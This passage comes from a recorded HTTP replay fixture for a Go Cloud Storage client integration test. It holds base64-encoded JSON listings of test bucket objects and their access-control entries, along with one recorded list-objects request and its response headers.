DItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iai93aXRoL3NsYXNoZXMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDT3F1cnJ6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqL3dpdGgvc2xhc2hlcy8xNTU2ODM1ODQ1NTExMDE4L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcy9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iai93aXRoL3NsYXNoZXMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNPcXVycnp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmovd2l0aC9zbGFzaGVzLzE1NTY4MzU4NDU1MTEwMTgvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzL2FjbC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqL3dpdGgvc2xhc2hlcyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1NTExMDE4IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNPcXVycnp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmovd2l0aC9zbGFzaGVzLzE1NTY4MzU4NDU1MTEwMTgvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqL3dpdGgvc2xhc2hlcyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1NTExMDE4IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ09xdXJyengvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJvZW8rRkE9PSIsImV0YWciOiJDT3F1cnJ6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLzE1NTY4MzU4NDQ2NDcyMjUiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxIiwibmFtZSI6Im9iajEiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNC42NDZaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDQuNjQ2WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA0LjY0NloiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiU25hL1VXdjdtY1pJMjNvRTV0VWFiUT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajE/Z2VuZXJhdGlvbj0xNTU2ODM1ODQ0NjQ3MjI1JmFsdD1tZWRpYSIsImNhY2hlQ29udHJvbCI6InB1YmxpYywgbWF4LWFnZT02MCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDQ2NDcyMjUiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMS9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNMblMrYnZ4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLzE1NTY4MzU4NDQ2NDcyMjUvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajEvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDQ2NDcyMjUiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMS9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNMblMrYnZ4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiQ1Q2ZFRBPT0iLCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0IiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMi8xNTU2ODM1ODQ1MDQ5MjQ1Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMiIsIm5hbWUiOiJvYmoyIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDUwNDkyNDUiLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJ0aW1lQ3JlYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDUuMDQ4WiIsInVwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA1LjA0OFoiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNS4wNDhaIiwic2l6ZSI6IjE2IiwibWQ1SGFzaCI6IkNDMXdsd3JNT0lxMGR2TWtNeWxVaGc9PSIsIm1lZGlhTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2Rvd25sb2FkL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoyP2dlbmVyYXRpb249MTU1NjgzNTg0NTA0OTI0NSZhbHQ9bWVkaWEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoyLzE1NTY4MzU4NDUwNDkyNDUvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMi9hY2wvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1MDQ5MjQ1IiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNKMlhrcnp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoyLzE1NTY4MzU4NDUwNDkyNDUvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajIvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoyIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDUwNDkyNDUiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDSjJYa3J6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMi8xNTU2ODM1ODQ1MDQ5MjQ1L3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoyL2FjbC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1MDQ5MjQ1IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNKMlhrcnp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoyLzE1NTY4MzU4NDUwNDkyNDUvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajIvYWNsL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoyIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDUwNDkyNDUiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDSjJYa3J6eC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6ImpWNUFWUT09IiwiZXRhZyI6IkNKMlhrcnp4L2VFQ0VBRT0ifV19" - } - }, - { - "ID": "b27c106562362f6b", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026delimiter=\u0026maxResults=1\u0026pageToken=\u0026prefix=obj\u0026prettyPrint=false\u0026projection=full\u0026versions=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "3446" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:06 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:06 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoIo3JJa2rfg9_o3bXN_5QU6XU_iIrWYfuEuvKTQL0O5tjIHkODIDd4biyHxjbGNFnrQNbkiEUXWEBlo-3fTVgfFTOWuaPpgae-SafTBP8h5X5ddJ4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RzIiwibmV4dFBhZ2VUb2tlbiI6IkNoQnZZbW92ZDJsMGFDOXpiR0Z6YUdWeiIsIml0ZW1zIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmovd2l0aC9zbGFzaGVzLzE1NTY4MzU4NDU1MTEwMTgiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcyIsIm5hbWUiOiJvYmovd2l0aC9zbGFzaGVzIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDU1MTEwMTgiLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJ0aW1lQ3JlYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDUuNTEwWiIsInVwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA1LjUxMFoiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNS41MTBaIiwic2l6ZSI6IjE2IiwibWQ1SGFzaCI6InVlei9oSjZ3QXJlRFFuY2NEVWR4Zmc9PSIsIm1lZGlhTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2Rvd25sb2FkL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcz9nZW5lcmF0aW9uPTE1NTY4MzU4NDU1MTEwMTgmYWx0PW1lZGlhIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqL3dpdGgvc2xhc2hlcy8xNTU2ODM1ODQ1NTExMDE4L3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmovd2l0aC9zbGFzaGVzIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDU1MTEwMTgiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ09xdXJyengvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iai93aXRoL3NsYXNoZXMvMTU1NjgzNTg0NTUxMTAxOC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqJTJGd2l0aCUyRnNsYXNoZXMvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmovd2l0aC9zbGFzaGVzIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDU1MTEwMTgiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDT3F1cnJ6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqL3dpdGgvc2xhc2hlcy8xNTU2ODM1ODQ1NTExMDE4L3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iai93aXRoL3NsYXNoZXMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRl